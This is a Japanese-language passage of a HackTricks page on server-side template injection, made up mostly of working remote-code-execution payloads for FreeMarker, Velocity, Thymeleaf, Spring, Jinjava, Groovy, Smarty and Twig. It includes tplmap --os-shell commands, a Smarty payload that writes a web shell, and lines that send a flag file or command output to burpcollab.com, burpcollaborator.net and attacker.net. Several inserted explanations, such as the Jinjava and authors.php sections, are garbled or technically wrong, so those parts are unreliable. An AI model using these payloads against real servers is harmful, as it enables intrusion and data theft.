.. | ||
el-expression-language.md | ||
jinja2-ssti.md | ||
README.md |
SSTI(サーバーサイドテンプレートインジェクション)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
RootedCONは、スペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。この大会は、技術的な知識を促進することを目的としており、あらゆる分野の技術とサイバーセキュリティの専門家のための活気ある交流の場です。
{% embed url="https://www.rootedcon.com/" %}
サーバーサイドテンプレートインジェクションとは何ですか?
サーバーサイドテンプレートインジェクションは、攻撃者がネイティブなテンプレート構文を使用して悪意のあるペイロードをテンプレートに注入し、それがサーバーサイドで実行される場合に発生します。
テンプレートエンジンは、固定のテンプレートと不安定なデータを組み合わせてウェブページを生成するために設計されています。ユーザーの入力がデータとして渡されるのではなく、直接テンプレートに連結される場合、サーバーサイドテンプレートインジェクション攻撃が発生する可能性があります。これにより、攻撃者は任意のテンプレートディレクティブを注入してテンプレートエンジンを操作し、しばしばサーバーの完全な制御を取得することができます。
脆弱なコードの例は以下の通りです:
$output = $twig->render("Dear " . $_GET['name']);
前の例では、テンプレートの一部自体がGET
パラメータname
を使用して動的に生成されています。テンプレートの構文はサーバーサイドで評価されるため、攻撃者はname
パラメータ内にサーバーサイドテンプレートインジェクションペイロードを配置することができます。以下のようになります:
http://vulnerable-website.com/?name={{bad-stuff-here}}
サーバーサイドテンプレートインジェクション攻撃の構築
検出
脆弱性を悪用するための最初のステップは、それを見つけることです。もっとも簡単な初期アプローチは、テンプレート式でよく使用される特殊文字のシーケンスを注入して、テンプレートをfuzzingすることです。たとえば、ポリグロットの${{<%[%'"}}%\
などです。
サーバーが脆弱かどうかを確認するためには、パラメータに通常のデータを入力した場合と与えられたペイロードのレスポンスの違いを見つける必要があります。
もしエラーが発生した場合、サーバーが脆弱であることや、どのエンジンが実行されているかを簡単に特定することができます。また、与えられたペイロードが反映されていない場合や、レスポンスに一部の文字が欠けている場合でも、脆弱なサーバーを見つけることができます。
検出 - 平文コンテキスト
与えられた入力は、レスポンスにレンダリングおよび反映されています。これは簡単に単純なXSS脆弱性と間違えられることがありますが、テンプレート式内で数学演算を設定しようとすると区別することができます。
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}
検出 - コードの文脈
これらの場合、ユーザーの入力はテンプレート式内に配置されています。
engine.render("Hello {{"+greeting+"}}", data)
アクセスするURLは次のようになります:http://vulnerable-website.com/?greeting=data.username
もし**greeting
パラメータを別の値に変更すると、レスポンスにはユーザー名が含まれなくなりますが、http://vulnerable-website.com/?greeting=data.username}}hello
のようなアクセスをすると、レスポンスにはユーザー名が含まれます(クロージングテンプレート式の文字が}}
である場合)。
これらのテスト中にエラー**が発生した場合、サーバーが脆弱であることがより簡単に見つけられます。
特定
テンプレートインジェクションの可能性を検出したら、次のステップはテンプレートエンジンを特定することです。
テンプレート言語は非常に多くありますが、多くの言語はHTMLの文字と衝突しないように特別に選ばれた非常に似た構文を使用しています。
もし運が良ければ、サーバーがエラーを表示している場合、エラーの中から使用されているエンジンを見つけることができます。エラーを引き起こす可能性のあるいくつかのペイロードは次のとおりです:
${} |
{{}} |
<%= %> |
---|---|---|
${7/0} |
{{7/0}} |
<%= 7/0 %> |
${foobar} |
{{foobar}} |
<%= foobar %> |
${7*7} |
{{7*7}} |
`` |
それ以外の場合は、異なる言語固有のペイロードを手動でテストし、テンプレートエンジンによってどのように解釈されるかを調査する必要があります。一般的な方法は、異なるテンプレートエンジンの構文を使用して任意の数学演算を注入することです。それから、それらが正常に評価されるかどうかを観察することができます。このプロセスを支援するために、次のような意思決定ツリーを使用することができます:
悪用
読む
テンプレートインジェクションを見つけ、テンプレートエンジンを特定した後の最初のステップは、ドキュメントを読むことです。興味のある主要な領域は次のとおりです:
- 基本構文をカバーする「テンプレート作成者向け」セクション。
- 「セキュリティに関する考慮事項」- テストしているアプリを開発した人はおそらくこれを読んでいない可能性があり、有用なヒントが含まれているかもしれません。
- 組み込みメソッド、関数、フィルタ、変数のリスト。
- 拡張/プラグインのリスト - いくつかはデフォルトで有効になっているかもしれません。
探索
脆弱性が見つからない場合、次のステップは環境を探索して、アクセス可能なものを正確に把握することです。テンプレートエンジンによって提供されるデフォルトのオブジェクトと、開発者によってテンプレートに渡されるアプリケーション固有のオブジェクトの両方を見つけることができます。多くのテンプレートシステムは、スコープ内のすべてを含む「self」または名前空間オブジェクトを公開し、オブジェクトの属性やメソッドをリストするための慣用的な方法を提供します。
組み込みのselfオブジェクトがない場合は、SecListsとBurp Intruderのワードリストコレクションを使用して変数名をブルートフォースする必要があります。
開発者が提供したオブジェクトには、特に機密情報が含まれる可能性があり、アプリケーション内の異なるテンプレートごとに異なる場合があるため、このプロセスは理想的には個々の異なるテンプレートに適用する必要があります。
攻撃
この時点で、利用可能な攻撃対象についての明確なアイデアがあるはずであり、従来のセキュリティ監査手法を用いて、各関数を検証して脆弱性を悪用することができます。これは、より広範なアプリケーションの文脈でアプローチすることが重要です - 一部の関数はアプリケーション固有の機能を悪用するために使用することができます。以下の例では、テンプレートインジェクションを使用して任意のオブジェクト作成、任意のファイルの読み書き、リモートファイルのインクルード、情報の漏洩、特権の昇格の脆弱性をトリガーします。
ツール
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Exploits
Generic
このワードリストには、以下のエンジンの環境で定義された変数が含まれています:
Java
Java - 基本的なインジェクション
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
Java - システムの環境変数を取得する
import java.util.Map;
public class EnvironmentVariables {
public static void main(String[] args) {
Map<String, String> env = System.getenv();
for (String key : env.keySet()) {
System.out.println(key + " : " + env.get(key));
}
}
}
このJavaプログラムは、システムの環境変数を取得する方法を示しています。System.getenv()
メソッドを使用して、環境変数のマップを取得し、for
ループを使用してキーと値を表示します。
${T(java.lang.System).getenv()}
Java - /etc/passwdの取得
概要
このテクニックでは、JavaのServer-Side Template Injection(SSTI)を使用して、ターゲットシステムの/etc/passwd
ファイルを取得します。
脆弱性の説明
SSTIは、Webアプリケーションのテンプレートエンジンにおける脆弱性です。テンプレートエンジンは、動的なコンテンツを生成するために使用されますが、不適切な入力検証やエスケープ処理が行われていない場合、攻撃者は任意のコードを実行できる可能性があります。
攻撃手法
以下の手順に従って、Javaを使用してSSTIを実行し、/etc/passwd
ファイルを取得します。
- ターゲットのWebアプリケーションにアクセスします。
- テンプレートエンジンのインジェクションポイントを特定します。
- インジェクションポイントにJavaのSSTIペイロードを挿入します。例えば、
${7*7}
のような算術演算を使用します。 - ペイロードが有効化され、SSTIが発生すると、
/etc/passwd
ファイルの内容が表示されます。
対策方法
以下の対策方法を実施することで、SSTI攻撃から保護することができます。
- テンプレートエンジンのバージョンを最新に保つ。
- 入力検証とエスケープ処理を適切に実施する。
- テンプレートエンジンのセキュリティ設定を強化する。
注意事項
SSTI攻撃は違法行為であり、許可なく他人のシステムに侵入することは法的に罰せられる可能性があります。このテクニックは、合法的なセキュリティテストやペネトレーションテストの一環としてのみ使用してください。
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
あなたはhttps://try.freemarker.apache.orgでペイロードを試すことができます。
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - サンドボックス回避
⚠️ 2.3.30未満のFreemarkerバージョンでのみ機能します。
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
詳細情報
- https://portswigger.net/research/server-side-template-injectionのFreeMarkerセクションで詳細を確認してください。
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarkerを参照してください。
Velocity (Java)
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
詳細情報
- https://portswigger.net/research/server-side-template-injectionのVelocityセクション
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf(Java)
SSTIの典型的なテスト式は${7*7}
です。この式はThymeleafでも機能します。リモートコード実行を達成したい場合は、次のいずれかのテスト式を使用できます:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
ただし、前述したように、式は特別なThymeleaf属性でのみ機能します。テンプレートの異なる場所で式を使用する必要がある場合、Thymeleafは_expression inlining_をサポートしています。この機能を使用するには、式を[[...]]
または[(...)]
の内部に配置する必要があります(特殊な記号をエスケープする必要があるかどうかに応じて、どちらかを選択します)。したがって、Thymeleafの単純なSSTI検出ペイロードは[[${7*7}]]
となります。
ただし、上記の検出ペイロードが機能する可能性は非常に低いです。SSTIの脆弱性は通常、テンプレートがコード内で動的に生成される場合に発生します。デフォルトでは、Thymeleafはこのような動的に生成されたテンプレートを許可せず、すべてのテンプレートは事前に作成する必要があります。したがって、開発者が文字列からテンプレートを「即座に」作成したい場合、独自のTemplateResolverを作成する必要があります。これは可能ですが、非常にまれです。
Thymeleafテンプレートエンジンのドキュメントを詳しく見てみると、_expression preprocessing_という興味深い機能があります。ダブルアンダースコア(__...__
)で囲まれた式は、事前処理され、その結果が通常の処理中に式の一部として使用されます。以下は、Thymeleafドキュメントの公式な例です:
#{selection.__${sel.code}__}
脆弱な例
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name')
template = '''
<h1>Welcome, {{ name }}!</h1>
'''
return render_template_string(template, name=name)
if __name__ == '__main__':
app.run(debug=True)
This vulnerable example demonstrates a Server-Side Template Injection (SSTI) vulnerability in a Flask web application. The application takes a user-supplied parameter name
from the query string and renders it directly in an HTML template using the render_template_string
function.
An attacker can exploit this vulnerability by injecting malicious template code into the name
parameter. Since the template code is executed on the server-side, the attacker can execute arbitrary code within the application's context.
To exploit this vulnerability, an attacker can craft a payload that executes arbitrary code, such as accessing sensitive data, executing system commands, or even compromising the underlying server.
It is important to note that this vulnerable example is for educational purposes only and should not be used in production environments. Always sanitize and validate user input to prevent SSTI vulnerabilities.
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
詳細情報
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Spring Framework(Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
フィルターをバイパスする
複数の変数式を使用することができます。${...}
が機能しない場合は、#{...}
、*{...}
、@{...}
、または~{...}
を試してみてください。
/etc/passwd
を読み取る
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- ペイロード生成のためのカスタムスクリプト
import requests
def generate_payload(template, command):
payload = template.replace('{{COMMAND}}', command)
return payload
def send_payload(url, payload):
response = requests.post(url, data=payload)
return response.text
このスクリプトは、テンプレートとコマンドを受け取り、ペイロードを生成するためのカスタムスクリプトです。
generate_payload
関数は、テンプレート内の{{COMMAND}}
を指定されたコマンドで置換し、ペイロードを生成します。
send_payload
関数は、生成されたペイロードを指定されたURLにPOSTリクエストとして送信し、レスポンスを返します。
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
詳細情報
Springビュー操作(Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Pebble(Java)
{{ someString.toUPPERCASE() }}
Pebbleの古いバージョン(バージョン3.0.9未満):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
新しいバージョンのPebble:
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava(Java)
Jinjava is a Java-based template engine that allows for server-side template injection. It is commonly used in web applications built with Java frameworks such as Spring Boot.
How Server-Side Template Injection (SSTI) Works
Server-side template injection occurs when user-supplied input is directly embedded into a template engine without proper sanitization or validation. This can lead to the execution of arbitrary code on the server.
In the case of Jinjava, the injection point is typically within double curly braces ({{ }}
). Any code or expression placed within these braces will be evaluated by the template engine.
Exploiting SSTI in Jinjava
To exploit SSTI in Jinjava, an attacker can craft a payload that will be executed by the template engine. This payload can include Java code, expressions, or even system commands.
For example, consider the following vulnerable code snippet:
String template = "Hello, {{ name }}!";
String rendered = Jinjava.render(template, context);
In this case, if the name
variable is not properly sanitized, an attacker can inject arbitrary code by providing a malicious input. For instance, the following payload would execute the System.exit(0)
command:
{{ 7*'7'.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('System.exit(0)') }}
Preventing SSTI in Jinjava
To prevent server-side template injection in Jinjava, it is crucial to properly sanitize and validate user input before embedding it into the template. This can be achieved by using a combination of input validation, output encoding, and context-specific sanitization techniques.
Additionally, it is recommended to keep Jinjava and other template engines up to date with the latest security patches to mitigate any known vulnerabilities.
Conclusion
Server-side template injection in Jinjava can lead to serious security vulnerabilities if not properly addressed. By understanding how SSTI works and implementing appropriate security measures, developers can protect their applications from potential attacks.
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjavaは、Hubspotによって開発されたオープンソースのプロジェクトで、https://github.com/HubSpot/jinjava/で利用可能です。
Jinjava - コマンドの実行
https://github.com/HubSpot/jinjava/pull/230によって修正されました。
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
詳細情報
Hubspot - HuBL (Java)
{% %}
ステートメントの区切り記号{{ }}
式の区切り記号{# #}
コメントの区切り記号{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
"com.hubspot.content.hubl.context.TemplateContextRequest" を検索し、Github上のJinjavaプロジェクトを発見しました。
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
詳細情報
Expression Language - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
ELは、プレゼンテーション層(Webページ)とアプリケーションロジック(管理されたBean)の間での通信を可能にする重要なメカニズムを提供します。ELは、JavaServer Facesテクノロジー、JavaServer Pages(JSP)テクノロジー、およびJava EEのコンテキストと依存性の注入(CDI)など、いくつかのJavaEEテクノロジーで使用されています。
ELインタプリタの悪用について詳しくは、次のページを参照してください:
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Groovy (Java)
このセキュリティマネージャーのバイパスは、この解説記事から取得されました。
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
RootedCONは、スペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術的な知識の促進を使命として、この会議はあらゆる分野のテクノロジーとサイバーセキュリティの専門家の熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %}
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
詳細情報
- https://portswigger.net/research/server-side-template-injectionのSmartyセクションで詳細を確認してください。
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smartyを参照してください。
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = エラー
{{foobar}} 何も表示されません
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
Twig - テンプレート形式
Twigは、PHPのための柔軟で強力なテンプレートエンジンです。テンプレート内で変数や制御構造を使用することができます。Twigは、セキュリティを重視しており、サーバーサイドテンプレートインジェクション(SSTI)攻撃から保護するためのセキュリティ機能を提供しています。
SSTI(サーバーサイドテンプレートインジェクション)とは何ですか?
サーバーサイドテンプレートインジェクション(SSTI)は、アプリケーションがユーザーの入力をテンプレートに直接埋め込む場合に発生する脆弱性です。攻撃者は、テンプレート内で実行されるコードを注入することにより、アプリケーションのコンテキスト内で任意のコードを実行できます。
Twigテンプレート内でのSSTI攻撃の検出方法
SSTI攻撃を検出するためには、以下の手順を実行します。
- テンプレート内の変数の出力を確認します。変数が直接出力されている場合、SSTI攻撃の可能性があります。
- テンプレート内での制御構造(if文、forループなど)の使用を確認します。制御構造が不正な入力に基づいて動的に生成されている場合、SSTI攻撃のリスクがあります。
- テンプレート内での関数の使用を確認します。特に、危険な関数(例:eval())が使用されている場合、SSTI攻撃の可能性が高いです。
SSTI攻撃の防止方法
SSTI攻撃を防ぐためには、以下の対策を実施することが重要です。
- ユーザーの入力を信頼できる形式に変換するために、入力のバリデーションとエスケープ処理を行います。
- テンプレート内での動的なコード生成を避けるために、テンプレート内での制御構造や関数の使用を最小限に抑えます。
- セキュリティ意識の高いテンプレートエンジン(例:Twig)を使用し、SSTI攻撃からの保護を強化します。
SSTI攻撃の影響
SSTI攻撃により、攻撃者は以下のような影響を与えることができます。
- サーバー上で任意のコードを実行することができます。
- サーバー上のファイルにアクセスし、機密情報を盗むことができます。
- サーバー上のデータベースにアクセスし、データを改ざんすることができます。
SSTI攻撃は深刻なセキュリティリスクであるため、適切な対策を講じることが重要です。
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
詳細情報
- https://portswigger.net/research/server-side-template-injectionのTwigとTwig(Sandboxed)セクションで詳細を確認してください。
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twigを参照してください。
Plates(PHP)
PlatesはTwigに触発されたもので、コンパイルされたテンプレートエンジンではなく、ネイティブのPHPテンプレートエンジンです。
コントローラー:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
ページのテンプレート:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
レイアウトテンプレート:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
PHPlibとHTML_Template_PHPLIB(PHP)
HTML_Template_PHPLIBはPHPlibと同じですが、Pearに移植されています。
authors.tpl
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
SSTI (Server-Side Template Injection) - authors.php
Description
The authors.php
file is a vulnerable PHP script that is susceptible to Server-Side Template Injection (SSTI) attacks. SSTI occurs when user-supplied input is directly embedded into a server-side template, allowing an attacker to execute arbitrary code on the server.
Exploitation
To exploit the SSTI vulnerability in authors.php
, an attacker can inject malicious code into the author
parameter. This parameter is used to dynamically include a template file based on the author's name.
The vulnerable code looks like this:
$author = $_GET['author'];
include('templates/' . $author . '.php');
By manipulating the author
parameter, an attacker can inject arbitrary PHP code into the template file and execute it on the server.
Example
Suppose the URL to access authors.php
is http://example.com/authors.php?author=John
. An attacker can exploit the SSTI vulnerability by injecting PHP code into the author
parameter, like this:
http://example.com/authors.php?author={{7*7}}
This will result in the inclusion of the templates/49.php
file, as the expression {{7*7}}
is evaluated to 49
. If the templates/49.php
file contains arbitrary PHP code, it will be executed on the server.
Impact
Server-Side Template Injection can have severe consequences, including:
- Remote code execution
- Information disclosure
- Server compromise
Prevention
To prevent SSTI attacks, it is important to:
- Validate and sanitize user input before using it in server-side templates
- Avoid directly embedding user input into templates
- Use a secure template engine that automatically escapes user input
By following these best practices, you can mitigate the risk of SSTI vulnerabilities in your web applications.
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Jade (NodeJS)
